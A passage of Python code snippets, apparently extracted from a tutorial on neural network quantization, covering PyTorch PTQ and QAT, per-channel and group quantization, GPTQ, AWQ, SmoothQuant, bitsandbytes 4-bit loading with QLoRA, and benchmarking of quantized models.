model.qconfig = torch.quantization.get_default_qconfig('fbgemm')  # x86 CPUs

# Fuse operations (Conv + BatchNorm + ReLU)
torch.quantization.fuse_modules(model, [['conv', 'bn', 'relu']], inplace=True)

# Prepare for static quantization
torch.quantization.prepare(model, inplace=True)

# Calibration: Run representative data through model
with torch.no_grad():
    for batch in calibration_data_loader:
        model(batch)

# Convert to quantized model
torch.quantization.convert(model, inplace=True)

# Save quantized model
torch.save(model.state_dict(), 'quantized_model.pth')

# Inference
with torch.no_grad():
    output = model(input_tensor)

def calibrate_model(model, data_loader, num_batches=100):
    """
    Calibrate quantization parameters
    """
    model.eval()
    with torch.no_grad():
        for i, (images, _) in enumerate(data_loader):
            if i >= num_batches:
                break
            model(images)
    return model

# Use diverse calibration data
# 100-1000 samples usually sufficient
calibrated_model = calibrate_model(prepared_model, val_loader, num_batches=200)

import torch
import torch.quantization

# Start with pre-trained model
model = MyModel()
model.load_state_dict(torch.load('pretrained.pth'))

# Set to training mode
model.train()

# Configure QAT
model.qconfig = torch.quantization.get_default_qat_qconfig('fbgemm')

# Prepare for QAT
torch.quantization.prepare_qat(model, inplace=True)

# Fine-tune with quantization simulation
optimizer = torch.optim.SGD(model.parameters(), lr=0.0001)
criterion = torch.nn.CrossEntropyLoss()

num_epochs = 5  # Fine-tuning epochs
for epoch in range(num_epochs):
    for inputs, labels in train_loader:
        optimizer.zero_grad()
        outputs = model(inputs)
        loss = criterion(outputs, labels)
        loss.backward()
        optimizer.step()

    print(f"Epoch {epoch}: Loss = {loss.item():.4f}")

# Convert to fully quantized model
model.eval()
torch.quantization.convert(model, inplace=True)

# Evaluate
accuracy = evaluate(model, test_loader)
print(f"Quantized model accuracy: {accuracy:.2f}%")

class FakeQuantize(torch.nn.Module):
    """Simulates quantization effects during training"""

    def __init__(self, num_bits=8):
        super().__init__()
        self.num_bits = num_bits
        self.qmin = 0
        self.qmax = 2**num_bits - 1
        self.scale = torch.nn.Parameter(torch.ones(1))
        self.zero_point = torch.nn.Parameter(torch.zeros(1))

    def forward(self, x):
        # Quantize
        q = torch.clamp(
            torch.round(x / self.scale + self.zero_point),
            self.qmin, self.qmax
        )
        # Dequantize
        x_fake_quant = (q - self.zero_point) * self.scale
        return x_fake_quant

def per_tensor_quantize(tensor, num_bits=8):
    """Quantize entire tensor with single scale"""
    qmin, qmax = 0, 2**num_bits - 1
    min_val, max_val = tensor.min(), tensor.max()
    scale = (max_val - min_val) / (qmax - qmin)
    zero_point = qmin - torch.round(min_val / scale)

    q = torch.clamp(
        torch.round(tensor / scale + zero_point),
        qmin, qmax
    )
    return q, scale, zero_point

def per_channel_quantize(weight, num_bits=8):
    """
    Quantize per output channel (conv filters)
    weight shape: [out_channels, in_channels, kernel_h, kernel_w]
    """
    out_channels = weight.shape[0]
    qmin, qmax = -(2**(num_bits-1)), 2**(num_bits-1) - 1

    scales = []
    zero_points = []
    q_weight = torch.zeros_like(weight, dtype=torch.int8)

    for ch in range(out_channels):
        ch_weight = weight[ch]
        ch_min, ch_max = ch_weight.min(), ch_weight.max()

        # Symmetric quantization per channel
        scale = max(abs(ch_min), abs(ch_max)) / qmax
        scales.append(scale)
        zero_points.append(0)

        q_weight[ch] = torch.clamp(
            torch.round(ch_weight / scale),
            qmin, qmax
        ).to(torch.int8)

    return q_weight, torch.tensor(scales), torch.tensor(zero_points)

# Example
conv_weight = torch.randn(64, 3, 3, 3)  # 64 filters
q_weight, scales, zps = per_channel_quantize(conv_weight)
print(f"Original shape: {conv_weight.shape}")
print(f"Quantized shape: {q_weight.shape}")
print(f"Scales per channel: {scales.shape}")

def group_quantize(weight, group_size=4, num_bits=4):
    """Group quantization for weights"""
    out_channels = weight.shape[0]
    num_groups = (out_channels + group_size - 1) // group_size

    scales = []
    q_weight = torch.zeros_like(weight, dtype=torch.int8)

    for g in range(num_groups):
        start = g * group_size
        end = min(start + group_size, out_channels)
        group_weight = weight[start:end]

        scale = group_weight.abs().max() / (2**(num_bits-1) - 1)
        scales.append(scale)

        q_weight[start:end] = torch.round(group_weight / scale)

    return q_weight, torch.tensor(scales)

def quantize_mixed_precision(model, sensitivity_dict):
    """
    Apply different quantization based on layer sensitivity
    sensitivity_dict: {layer_name: num_bits}
    """
    for name, module in model.named_modules():
        if isinstance(module, torch.nn.Linear):
            if name in sensitivity_dict:
                bits = sensitivity_dict[name]
                if bits == 8:
                    # Standard INT8 quantization
                    quantize_layer(module, num_bits=8)
                elif bits == 4:
                    # Aggressive INT4 quantization
                    quantize_layer(module, num_bits=4)
                else:
                    # Keep in FP16
                    module.half()

# Example sensitivity analysis
def analyze_sensitivity(model, data_loader):
    """Measure accuracy drop per layer"""
    baseline_acc = evaluate(model, data_loader)
    sensitivity = {}

    for name, module in model.named_modules():
        if isinstance(module, torch.nn.Linear):
            # Temporarily quantize this layer
            original_weight = module.weight.data.clone()
            module.weight.data = quantize_dequantize(original_weight, num_bits=8)

            acc = evaluate(model, data_loader)
            sensitivity[name] = baseline_acc - acc

            # Restore
            module.weight.data = original_weight

    return sensitivity

# Using auto-gptq library
from auto_gptq import AutoGPTQForCausalLM, BaseQuantizeConfig

# Configure GPTQ
quantize_config = BaseQuantizeConfig(
    bits=4,  # INT4 quantization
    group_size=128,  # Group size for quantization
    desc_act=False,  # Activation order
)

# Load model
model = AutoGPTQForCausalLM.from_pretrained(
    "meta-llama/Llama-2-7b-hf",
    quantize_config=quantize_config
)

# Prepare calibration data
from datasets import load_dataset
calibration_data = load_dataset("c4", split="train[:1000]")

def prepare_calibration(examples):
    return tokenizer(examples["text"], truncation=True, max_length=512)

calibration_dataset = calibration_data.map(prepare_calibration)

# Quantize
model.quantize(calibration_dataset)

# Save quantized model
model.save_quantized("./llama-7b-gptq-4bit")

# Load and use
from transformers import AutoTokenizer
tokenizer = AutoTokenizer.from_pretrained("meta-llama/Llama-2-7b-hf")
quantized_model = AutoGPTQForCausalLM.from_quantized("./llama-7b-gptq-4bit")

# Generate
input_ids = tokenizer("Once upon a time", return_tensors="pt").input_ids
output = quantized_model.generate(input_ids, max_length=100)
print(tokenizer.decode(output[0]))

# Using AutoAWQ library
from awq import AutoAWQForCausalLM
from transformers import AutoTokenizer

# Load model
model = AutoAWQForCausalLM.from_pretrained("meta-llama/Llama-2-7b-hf")
tokenizer = AutoTokenizer.from_pretrained("meta-llama/Llama-2-7b-hf")

# Quantize
quant_config = {
    "zero_point": True,
    "q_group_size": 128,
    "w_bit": 4,
    "version": "GEMM"
}

model.quantize(
    tokenizer,
    quant_config=quant_config,
    calib_data="pileval"  # Calibration dataset
)

# Save
model.save_quantized("./llama-7b-awq-4bit")

# Load and inference
from awq import AutoAWQForCausalLM
model = AutoAWQForCausalLM.from_quantized("./llama-7b-awq-4bit", fuse_layers=True)

def smooth_quant(weight, activation, alpha=0.5):
    """
    SmoothQuant transformation
    Y = (Xdiag(s)^(-1)) · (diag(s)W) = X · W
    where s = max(|X|)^α / max(|W|)^(1-α)
    """
    # Calculate smoothing scales
    activation_absmax = activation.abs().max(dim=0).values
    weight_absmax = weight.abs().max(dim=0).values

    scales = (activation_absmax ** alpha) / (weight_absmax ** (1 - alpha))

    # Apply smoothing
    smoothed_weight = weight * scales.unsqueeze(0)
    smoothed_activation = activation / scales.unsqueeze(0)

    return smoothed_weight, smoothed_activation, scales

# Integration with quantization
class SmoothQuantLinear(torch.nn.Module):
    def __init__(self, linear_layer, alpha=0.5):
        super().__init__()
        self.alpha = alpha
        self.scales = None
        self.quantized_weight = None

    def calibrate(self, activations):
        """Calibrate smoothing scales"""
        self.scales = calculate_smooth_scales(
            self.weight, activations, self.alpha
        )
        smoothed_weight = self.weight * self.scales
        self.quantized_weight = quantize(smoothed_weight)

    def forward(self, x):
        smoothed_x = x / self.scales
        return F.linear(smoothed_x, self.quantized_weight)

from transformers import AutoModelForCausalLM, BitsAndBytesConfig

# Configure LLM.int8()
quantization_config = BitsAndBytesConfig(
    load_in_8bit=True,
    llm_int8_threshold=6.0,  # Outlier threshold
    llm_int8_has_fp16_weight=False
)

# Load model with INT8 quantization
model = AutoModelForCausalLM.from_pretrained(
    "meta-llama/Llama-2-7b-hf",
    quantization_config=quantization_config,
    device_map="auto"
)

# Model automatically uses INT8 for most operations
# Outliers are processed in FP16
output = model.generate(input_ids, max_length=100)

from transformers import AutoModelForCausalLM, BitsAndBytesConfig

# Configure 4-bit quantization
nf4_config = BitsAndBytesConfig(
    load_in_4bit=True,
    bnb_4bit_quant_type="nf4",  # NormalFloat 4-bit
    bnb_4bit_use_double_quant=True,  # Double quantization
    bnb_4bit_compute_dtype=torch.bfloat16  # Compute in BF16
)

model = AutoModelForCausalLM.from_pretrained(
    "meta-llama/Llama-2-13b-hf",
    quantization_config=nf4_config,
    device_map="auto"
)

# Can even fine-tune in 4-bit with LoRA
from peft import prepare_model_for_kbit_training, LoraConfig, get_peft_model

model = prepare_model_for_kbit_training(model)

lora_config = LoraConfig(
    r=16,
    lora_alpha=32,
    target_modules=["q_proj", "v_proj"],
    lora_dropout=0.05,
    bias="none",
    task_type="CAUSAL_LM"
)

model = get_peft_model(model, lora_config)

# Train with 4-bit base model + 16-bit LoRA adapters
trainer.train()

# NF4 quantization levels (non-uniform)
NF4_LEVELS = [
    -1.0, -0.6961928009986877, -0.5250730514526367,
    -0.39491748809814453, -0.28444138169288635,
    -0.18477343022823334, -0.09105003625154495,
    0.0, 0.07958029955625534, 0.16093020141124725,
    0.24611230194568634, 0.33791524171829224,
    0.44070982933044434, 0.5626170039176941,
    0.7229568362236023, 1.0
]

def quantize_cnn(model):
    """Quantize CNN model"""
    # 1. Fuse operations
    torch.quantization.fuse_modules(
        model,
        [['conv1', 'bn1', 'relu']],
        inplace=True
    )

    # 2. Use per-channel quantization for conv layers
    model.qconfig = torch.quantization.QConfig(
        activation=torch.quantization.default_observer,
        weight=torch.quantization.default_per_channel_weight_observer
    )

    # 3. First and last layers: keep higher precision or use symmetric
    # model.conv1.qconfig = custom_qconfig_fp16
    # model.fc.qconfig = custom_qconfig_fp16

    return model

# Layer fusion example
model = models.resnet18(pretrained=True)
model.eval()

# Fuse Conv-BN-ReLU
fused_model = torch.quantization.fuse_modules(
    model,
    [
        ['conv1', 'bn1', 'relu'],
        ['layer1.0.conv1', 'layer1.0.bn1', 'layer1.0.relu'],
        # ... more layers
    ]
)

class QuantizableMobileNetV2(nn.Module):
    """MobileNetV2 designed for quantization"""

    def __init__(self):
        super().__init__()
        self.quant = torch.quantization.QuantStub()
        self.dequant = torch.quantization.DeQuantStub()

        # Use quantization-friendly operations
        self.features = nn.Sequential(
            # Depthwise separable convolutions
            nn.Conv2d(3, 32, 3, stride=2, padding=1, bias=False),
            nn.BatchNorm2d(32),
            nn.ReLU6(inplace=True),
            # ... more layers
        )
        self.classifier = nn.Linear(1280, num_classes)

    def forward(self, x):
        x = self.quant(x)  # Quantize input
        x = self.features(x)
        x = self.classifier(x)
        x = self.dequant(x)  # Dequantize output
        return x

# 1. Layer-wise quantization sensitivity
def quantize_transformer_selective(model):
    """Selectively quantize transformer components"""
    for name, module in model.named_modules():
        if 'attention' in name:
            # Keep attention in higher precision
            module.qconfig = get_qconfig_fp16()
        elif 'mlp' in name or 'feed_forward' in name:
            # Aggressively quantize feed-forward
            module.qconfig = get_qconfig_int8()
        elif 'layernorm' in name:
            # Keep normalization in FP16
            module.qconfig = None

# 2. Quantize with outlier handling
from transformers import AutoModelForCausalLM

model = AutoModelForCausalLM.from_pretrained(
    "gpt2",
    load_in_8bit=True,  # Uses LLM.int8()
    device_map="auto",
    max_memory={0: "20GB", "cpu": "30GB"}
)

# 3. K-V cache quantization for faster inference
class QuantizedAttention(nn.Module):
    """Attention with quantized K-V cache"""

    def __init__(self, config):
        super().__init__()
        self.config = config
        self.kv_bits = 8  # Quantize cached keys/values

    def forward(self, hidden_states, past_key_value=None):
        # Compute Q, K, V
        query = self.q_proj(hidden_states)
        key = self.k_proj(hidden_states)
        value = self.v_proj(hidden_states)

        # Quantize K, V for caching
        if self.training:
            # During training, use FP
            past_key_value = (key, value)
        else:
            # During inference, quantize K-V cache
            key_q, key_scale = quantize_tensor(key, self.kv_bits)
            value_q, value_scale = quantize_tensor(value, self.kv_bits)
            past_key_value = (key_q, key_scale, value_q, value_scale)

        # Attention computation...
        return output, past_key_value

# Comprehensive GPTQ quantization
from auto_gptq import AutoGPTQForCausalLM, BaseQuantizeConfig

quantize_config = BaseQuantizeConfig(
    bits=4,
    group_size=128,
    damp_percent=0.01,
    desc_act=True,  # Better accuracy
    sym=False,  # Asymmetric quantization
    true_sequential=True,  # Sequential quantization
    model_name_or_path=None,
    model_file_base_name="model"
)

# Quantize
model.quantize(
    examples=calibration_data,
    batch_size=1,
    use_triton=True,  # Faster with Triton kernels
    autotune_warmup_after_quantized=True
)

def quantize_vit(model, quantize_attention=False):
    """Quantize Vision Transformer"""
    for name, module in model.named_modules():
        if 'patch_embed' in name:
            # Patch embedding: keep higher precision
            module.qconfig = get_qconfig_fp16()
        elif 'attn' in name and not quantize_attention:
            # Attention: conditional quantization
            module.qconfig = None
        elif 'mlp' in name:
            # MLP blocks: aggressive INT8
            module.qconfig = get_qconfig_int8()

    return model

# PTQ for ViT
def ptq_vision_transformer(model, calibration_loader):
    model.eval()
    model.qconfig = torch.quantization.get_default_qconfig('fbgemm')

    # Selectively quantize
    quantize_vit(model, quantize_attention=False)

    # Prepare
    torch.quantization.prepare(model, inplace=True)

    # Calibrate with image data
    with torch.no_grad():
        for images, _ in calibration_loader:
            model(images)

    # Convert
    torch.quantization.convert(model, inplace=True)
    return model

# Dynamic quantization for LSTM
model = nn.LSTM(input_size=256, hidden_size=512, num_layers=2)

quantized_model = torch.quantization.quantize_dynamic(
    model,
    {nn.LSTM, nn.Linear},
    dtype=torch.qint8
)

# For static quantization of RNNs (more complex)
class QuantizableLSTM(nn.Module):
    def __init__(self, input_size, hidden_size):
        super().__init__()
        self.lstm = nn.LSTM(input_size, hidden_size)
        self.quant = torch.quantization.QuantStub()
        self.dequant = torch.quantization.DeQuantStub()

    def forward(self, x, hidden=None):
        x = self.quant(x)
        output, hidden = self.lstm(x, hidden)
        output = self.dequant(output)
        return output, hidden

import torch
import torchvision.models as models
from torch.utils.data import DataLoader
import torchvision.transforms as transforms
import torchvision.datasets as datasets

# 1. Load pre-trained model
model = models.resnet50(pretrained=True)
model.eval()

# 2. Prepare data
transform = transforms.Compose([
    transforms.Resize(256),
    transforms.CenterCrop(224),
    transforms.ToTensor(),
    transforms.Normalize(mean=[0.485, 0.456, 0.406],
                       std=[0.229, 0.224, 0.225])
])

calibration_dataset = datasets.ImageFolder('imagenet/val', transform=transform)
calibration_loader = DataLoader(
    calibration_dataset,
    batch_size=32,
    shuffle=True,
    num_workers=4
)

# 3. Fuse modules
model.fuse_model()  # Fuse Conv-BN-ReLU

# 4. Set quantization config
model.qconfig = torch.quantization.get_default_qconfig('fbgemm')

# 5. Prepare for calibration
torch.quantization.prepare(model, inplace=True)

# 6. Calibrate
print("Calibrating...")
num_calibration_batches = 100
with torch.no_grad():
    for i, (images, _) in enumerate(calibration_loader):
        if i >= num_calibration_batches:
            break
        model(images)
        if (i + 1) % 10 == 0:
            print(f"Calibrated {i + 1} batches")

# 7. Convert to quantized model
torch.quantization.convert(model, inplace=True)

# 8. Evaluate
def evaluate(model, data_loader, num_batches=None):
    model.eval()
    correct = 0
    total = 0
    with torch.no_grad():
        for i, (images, labels) in enumerate(data_loader):
            if num_batches and i >= num_batches:
                break
            outputs = model(images)
            _, predicted = outputs.max(1)
            total += labels.size(0)
            correct += predicted.eq(labels).sum().item()
    return 100. * correct / total

print("Evaluating quantized model...")
accuracy = evaluate(model, calibration_loader, num_batches=200)
print(f"Quantized model accuracy: {accuracy:.2f}%")

# 9. Save quantized model
torch.save(model.state_dict(), 'resnet50_quantized.pth')

# 10. Compare model sizes
def print_model_size(model, label):
    torch.save(model.state_dict(), "temp.pth")
    size_mb = os.path.getsize("temp.pth") / 1e6
    print(f"{label}: {size_mb:.2f} MB")
    os.remove("temp.pth")

original_model = models.resnet50(pretrained=True)
print_model_size(original_model, "Original FP32")
print_model_size(model, "Quantized INT8")

import torch
import torch.nn as nn
import torch.quantization

class CustomModel(nn.Module):
    def __init__(self, num_classes=10):
        super().__init__()
        self.quant = torch.quantization.QuantStub()
        self.conv1 = nn.Conv2d(3, 32, 3, padding=1)
        self.bn1 = nn.BatchNorm2d(32)
        self.relu1 = nn.ReLU()
        self.conv2 = nn.Conv2d(32, 64, 3, padding=1)
        self.bn2 = nn.BatchNorm2d(64)
        self.relu2 = nn.ReLU()
        self.pool = nn.AdaptiveAvgPool2d((1, 1))
        self.fc = nn.Linear(64, num_classes)
        self.dequant = torch.quantization.DeQuantStub()

    def forward(self, x):
        x = self.quant(x)
        x = self.relu1(self.bn1(self.conv1(x)))
        x = self.relu2(self.bn2(self.conv2(x)))
        x = self.pool(x)
        x = torch.flatten(x, 1)
        x = self.fc(x)
        x = self.dequant(x)
        return x

    def fuse_model(self):
        torch.quantization.fuse_modules(
            self,
            [['conv1', 'bn1', 'relu1'],
             ['conv2', 'bn2', 'relu2']],
            inplace=True
        )

# 1. Train FP32 model first
model = CustomModel(num_classes=10)
# ... training code ...
torch.save(model.state_dict(), 'model_fp32.pth')

# 2. Prepare for QAT
model.load_state_dict(torch.load('model_fp32.pth'))
model.train()

# Fuse layers
model.fuse_model()

# Set QAT config
model.qconfig = torch.quantization.get_default_qat_qconfig('fbgemm')

# Prepare QAT
torch.quantization.prepare_qat(model, inplace=True)

# 3. Fine-tune with QAT
optimizer = torch.optim.SGD(model.parameters(), lr=0.0001, momentum=0.9)
criterion = nn.CrossEntropyLoss()

num_epochs = 3
for epoch in range(num_epochs):
    model.train()
    for batch_idx, (data, target) in enumerate(train_loader):
        optimizer.zero_grad()
        output = model(data)
        loss = criterion(output, target)
        loss.backward()
        optimizer.step()

        if batch_idx % 100 == 0:
            print(f'Epoch {epoch}, Batch {batch_idx}, Loss: {loss.item():.4f}')

    # Validation
    model.eval()
    val_acc = evaluate(model, val_loader)
    print(f'Epoch {epoch}, Validation Accuracy: {val_acc:.2f}%')

# 4. Convert to fully quantized model
model.eval()
torch.quantization.convert(model, inplace=True)

# 5. Final evaluation
test_acc = evaluate(model, test_loader)
print(f'Quantized model test accuracy: {test_acc:.2f}%')

# 6. Save
torch.save(model.state_dict(), 'model_qat_int8.pth')

from transformers import BertForSequenceClassification, BertTokenizer
import torch

# 1. Load model
model_name = "bert-base-uncased"
model = BertForSequenceClassification.from_pretrained(
    model_name,
    num_labels=2
)
tokenizer = BertTokenizer.from_pretrained(model_name)

# 2. Dynamic quantization (easiest for transformers)
quantized_model = torch.quantization.quantize_dynamic(
    model,
    {torch.nn.Linear},  # Quantize linear layers
    dtype=torch.qint8
)

# 3. Test inference
text = "This movie was fantastic! I loved every minute of it."
inputs = tokenizer(text, return_tensors="pt", padding=True, truncation=True)

with torch.no_grad():
    # Original model
    output_fp32 = model(**inputs)
    # Quantized model
    output_int8 = quantized_model(**inputs)

print("FP32 logits:", output_fp32.logits)
print("INT8 logits:", output_int8.logits)

# 4. Compare sizes
def get_model_size(model):
    torch.save(model.state_dict(), "temp.pth")
    size = os.path.getsize("temp.pth") / 1e6
    os.remove("temp.pth")
    return size

fp32_size = get_model_size(model)
int8_size = get_model_size(quantized_model)

print(f"FP32 model: {fp32_size:.2f} MB")
print(f"INT8 model: {int8_size:.2f} MB")
print(f"Compression ratio: {fp32_size / int8_size:.2f}×")

# 5. Benchmark inference speed
import time

def benchmark(model, inputs, num_runs=100):
    # Warmup
    for _ in range(10):
        model(**inputs)

    start = time.time()
    for _ in range(num_runs):
        with torch.no_grad():
            model(**inputs)
    end = time.time()

    return (end - start) / num_runs

fp32_time = benchmark(model, inputs)
int8_time = benchmark(quantized_model, inputs)

print(f"FP32 inference: {fp32_time*1000:.2f} ms")
print(f"INT8 inference: {int8_time*1000:.2f} ms")
print(f"Speedup: {fp32_time / int8_time:.2f}×")

from transformers import AutoModelForCausalLM, AutoTokenizer, BitsAndBytesConfig
import torch

# 1. Configure 4-bit quantization
bnb_config = BitsAndBytesConfig(
    load_in_4bit=True,
    bnb_4bit_use_double_quant=True,  # Nested quantization
    bnb_4bit_quant_type="nf4",  # NormalFloat4
    bnb_4bit_compute_dtype=torch.bfloat16  # Compute dtype
)

# 2. Load model in 4-bit
model_id = "meta-llama/Llama-2-7b-chat-hf"
model = AutoModelForCausalLM.from_pretrained(
    model_id,
    quantization_config=bnb_config,
    device_map="auto",  # Automatically distribute across GPUs
    trust_remote_code=True
)

tokenizer = AutoTokenizer.from_pretrained(model_id)

# 3. Generate text
prompt = "Explain quantum computing in simple terms:"
inputs = tokenizer(prompt, return_tensors="pt").to("cuda")

with torch.no_grad():
    outputs = model.generate(
        **inputs,
        max_new_tokens=200,
        temperature=0.7,
        top_p=0.9,
        do_sample=True
    )

response = tokenizer.decode(outputs[0], skip_special_tokens=True)
print(response)

# 4. Memory usage
print(f"Model memory footprint: {model.get_memory_footprint() / 1e9:.2f} GB")

# 5. Can even fine-tune with QLoRA
from peft import prepare_model_for_kbit_training, LoraConfig, get_peft_model

# Prepare for k-bit training
model.gradient_checkpointing_enable()
model = prepare_model_for_kbit_training(model)

# Add LoRA adapters
config = LoraConfig(
    r=8,
    lora_alpha=16,
    target_modules=["q_proj", "k_proj", "v_proj", "o_proj"],
    lora_dropout=0.05,
    bias="none",
    task_type="CAUSAL_LM"
)

model = get_peft_model(model, config)
print(f"Trainable parameters: {model.print_trainable_parameters()}")

# Now you can fine-tune with standard training loop
# Only LoRA adapters are trained (in FP32/BF16)
# Base model stays in 4-bit

import torch
import time
import numpy as np
from sklearn.metrics import accuracy_score

class QuantizationBenchmark:
    """Comprehensive quantization benchmarking"""

    def __init__(self, model_fp32, model_quantized, test_loader):
        self.model_fp32 = model_fp32
        self.model_quantized = model_quantized
        self.test_loader = test_loader

    def measure_accuracy(self, model, num_batches=None):
        """Measure model accuracy"""
        model.eval()
        all_preds = []
        all_labels = []

        with torch.no_grad():
            for i, (inputs, labels) in enumerate(self.test_loader):
                if num_batches and i >= num_batches:
                    break
                outputs = model(inputs)
                preds = outputs.argmax(dim=1)
                all_preds.extend(preds.cpu().numpy())
                all_labels.extend(labels.cpu().numpy())

        return accuracy_score(all_labels, all_preds) * 100

    def measure_latency(self, model, num_runs=100):
        """Measure inference latency"""
        model.eval()

        # Get a sample batch
        sample_input, _ = next(iter(self.test_loader))

        # Warmup
        with torch.no_grad():
            for _ in range(10):
                _ = model(sample_input)

        # Benchmark
        latencies = []
        with torch.no_grad():
            for _ in range(num_runs):
                start = time.perf_counter()
                _ = model(sample_input)
                end = time.perf_counter()
                latencies.append((end - start) * 1000)  # ms

        return {
            'mean': np.mean(latencies),
            'std': np.std(latencies),
            'p50': np.percentile(latencies, 50),
            'p95': np.percentile(latencies, 95),
            'p99': np.percentile(latencies, 99)
        }

    def measure_throughput(self, model, duration=10):
        """Measure throughput (samples/sec)"""
        model.eval()
        sample_input, _ = next(iter(self.test_loader))
        batch_size = sample_input.size(0)

        num_batches = 0
        start = time.time()

        with torch.no_grad():
            while time.time() - start < duration:
                _ = model(sample_input)
                num_batches += 1

        elapsed = time.time() - start
        throughput = (num_batches * batch_size) / elapsed
        return throughput

    def measure_model_size(self, model):
        """Measure model size in MB"""
        torch.save(model.state_dict(), "temp_model.pth")
        size_mb = os.path.getsize("temp_model.pth") / 1e6
        os.remove("temp_model.pth")
        return size_mb

    def run_full_benchmark(self):
        """Run complete benchmark suite"""
        print("=" * 60)
        print("Quantization Benchmark Results")
        print("=" * 60)

        # Accuracy
        print("\n[1] Accuracy")
        fp32_acc = self.measure_accuracy(self.model_fp32)
        quant_acc = self.measure_accuracy(self.model_quantized)
        print(f"  FP32:      {fp32_acc:.2f}%")
        print(f"  Quantized: {quant_acc:.2f}%")
        print(f"  Drop:      {fp32_acc - quant_acc:.2f}%")

        # Model Size
        print("\n[2] Model Size")
        fp32_size = self.measure_model_size(self.model_fp32)
        quant_size = self.measure_model_size(self.model_quantized)
        print(f"  FP32:      {fp32_size:.2f} MB")
        print(f"  Quantized: {quant_size:.2f} MB")
        print(f"  Reduction: {fp32_size / quant_size:.2f}×")

        # Latency
        print("\n[3] Latency (ms)")
        fp32_latency = self.measure_latency(self.model_fp32)
        quant_latency = self.measure_latency(self.model_quantized)
        print(f"  FP32:      {fp32_latency['mean']:.2f} ± {fp32_latency['std']:.2f}")
        print(f"  Quantized: {quant_latency['mean']:.2f} ± {quant_latency['std']:.2f}")
        print(f"  Speedup:   {fp32_latency['mean'] / quant_latency['mean']:.2f}×")

        # Throughput
        print("\n[4] Throughput (samples/sec)")
        fp32_throughput = self.measure_throughput(self.model_fp32)
        quant_throughput = self.measure_throughput(self.model_quantized)
        print(f"  FP32:      {fp32_throughput:.2f}")
        print(f"  Quantized: {quant_throughput:.2f}")
        print(f"  Improvement: {quant_throughput / fp32_throughput:.2f}×")

        print("\n" + "=" * 60)

        return {
            'accuracy': {'fp32': fp32_acc, 'quantized': quant_acc},
            'size': {'fp32': fp32_size, 'quantized': quant_size},
            'latency': {'fp32': fp32_latency, 'quantized': quant_latency},
            'throughput': {'fp32': fp32_throughput, 'quantized': quant_throughput}
        }

# Usage
benchmark = QuantizationBenchmark(model_fp32, model_int8, test_loader)
results = benchmark.run_full_benchmark()

def analyze_quantization_error(model_fp32, model_quantized, data_loader):
    """Analyze per-layer quantization errors"""

    # Hook to capture activations
    activations_fp32 = {}
    activations_quant = {}

    def get_activation(name, storage):
        def hook(model, input, output):
            storage[name] = output.detach()
        return hook

    # Register hooks
    for name, module in model_fp32.named_modules():
        if isinstance(module, (nn.Conv2d, nn.Linear)):
            module.register_forward_hook(get_activation(name, activations_fp32))

    for name, module in model_quantized.named_modules():
        if isinstance(module, (nn.quantized.Conv2d, nn.quantized.Linear)):
            module.register_forward_hook(get_activation(name, activations_quant))

    # Run inference
    sample_input, _ = next(iter(data_loader))
    with torch.no_grad():
        _ = model_fp32(sample_input)
        _ = model_quantized(sample_input)

    # Compute errors
    errors = {}
    for name in activations_fp32:
        if name in activations_quant:
            fp32_act = activations_fp32[name]
            quant_act = activations_quant[name].dequantize() if hasattr(
                activations_quant[name], 'dequantize'
            ) else activations_quant[name]

            mse = torch.mean((fp32_act - quant_act) ** 2).item()
            mae = torch.mean(torch.abs(fp32_act - quant_act)).item()
            relative_error = mae / (torch.mean(torch.abs(fp32_act)).item() + 1e-8)

            errors[name] = {
                'mse': mse,
                'mae': mae,
                'relative_error': relative_error
            }

    # Print results
    print("\nPer-Layer Quantization Error Analysis:")
    print(f"{'Layer':<40} {'MSE':<15} {'MAE':<15} {'Relative Error'}")
    print("-" * 80)
    for name, err in sorted(errors.items(), key=lambda x: x[1]['relative_error'], reverse=True):
        print(f"{name:<40} {err['mse']:<15.6f} {err['mae']:<15.6f} {err['relative_error']:.4f}")

    return errors

# If PTQ gives poor accuracy, switch to QAT
model.train()
torch.quantization.prepare_qat(model, inplace=True)
# Fine-tune for 3-5 epochs

# Use more diverse calibration samples
num_calibration_batches = 1000  # Instead of 100

# Keep sensitive layers in higher precision
for name, module in model.named_modules():
    if 'attention' in name or name == 'classifier':
        module.qconfig = fp16_qconfig

# Use per-channel for weights
model.qconfig = torch.quantization.QConfig(
    activation=default_observer,
    weight=per_channel_weight_observer  # More accurate
)

class ClippedObserver(torch.quantization.MinMaxObserver):
    def __init__(self, percentile=99.9, **kwargs):
        super().__init__(**kwargs)
        self.percentile = percentile

    def forward(self, x_orig):
        x = x_orig.detach()
        min_val = torch.quantile(x, (100 - self.percentile) / 100)
        max_val = torch.quantile(x, self.percentile / 100)
        self.min_val = min_val
        self.max_val = max_val
        return x_orig

# Migrate difficulty from activations to weights
smoothed_weight, smoothed_activation = smooth_quant(
    weight, activation, alpha=0.5
)

# Process outliers separately in FP16
quantization_config = BitsAndBytesConfig(
    load_in_8bit=True,
    llm_int8_threshold=6.0  # Outlier threshold
)

# Always fuse before quantization
torch.quantization.fuse_modules(
    model,
    [['conv', 'bn', 'relu']],
    inplace=True
)

def recalibrate_bn(model, data_loader, num_batches=100):
    """Recalculate BN statistics after quantization"""
    model.train()
    with torch.no_grad():
        for i, (inputs, _) in enumerate(data_loader):
            if i >= num_batches:
                break
            model(inputs)
    model.eval()
    return model

def selective_quantization(model):
    """Quantize all layers except first and last"""
    # Set default config
    model.qconfig = torch.quantization.get_default_qconfig('fbgemm')

    # Override first layer
    model.conv1.qconfig = None  # Keep FP32

    # Override last layer
    model.fc.qconfig = None  # Keep FP32

    return model

# For x86 CPUs
qconfig = torch.quantization.get_default_qconfig('fbgemm')

# For ARM CPUs
qconfig = torch.quantization.get_default_qconfig('qnnpack')

# Check if operator is supported
from torch.quantization import get_default_qconfig_propagation_list
supported_ops = get_default_qconfig_propagation_list()

# For mobile deployment
from torch.utils.mobile_optimizer import optimize_for_mobile

quantized_model = quantize_dynamic(model)
scripted_model = torch.jit.script(quantized_model)
optimized_model = optimize_for_mobile(scripted_model)

# Configure for x86
import torch.backends.quantized as quantized_backends
quantized_backends.engine = 'fbgemm'

qconfig = torch.quantization.get_default_qconfig('fbgemm')

# Configure for ARM
torch.backends.quantized.engine = 'qnnpack'

qconfig = torch.quantization.get_default_qconfig('qnnpack')

# Using TensorRT via torch2trt
from torch2trt import torch2trt

# Create quantized model
x = torch.ones((1, 3, 224, 224)).cuda()
model_trt = torch2trt(
    model,
    [x],
    fp16_mode=False,
    int8_mode=True,
    int8_calib_dataset=calibration_dataset
)

import tensorflow as tf

# Convert to TFLite with quantization
converter = tf.lite.TFLiteConverter.from_saved_model('model')
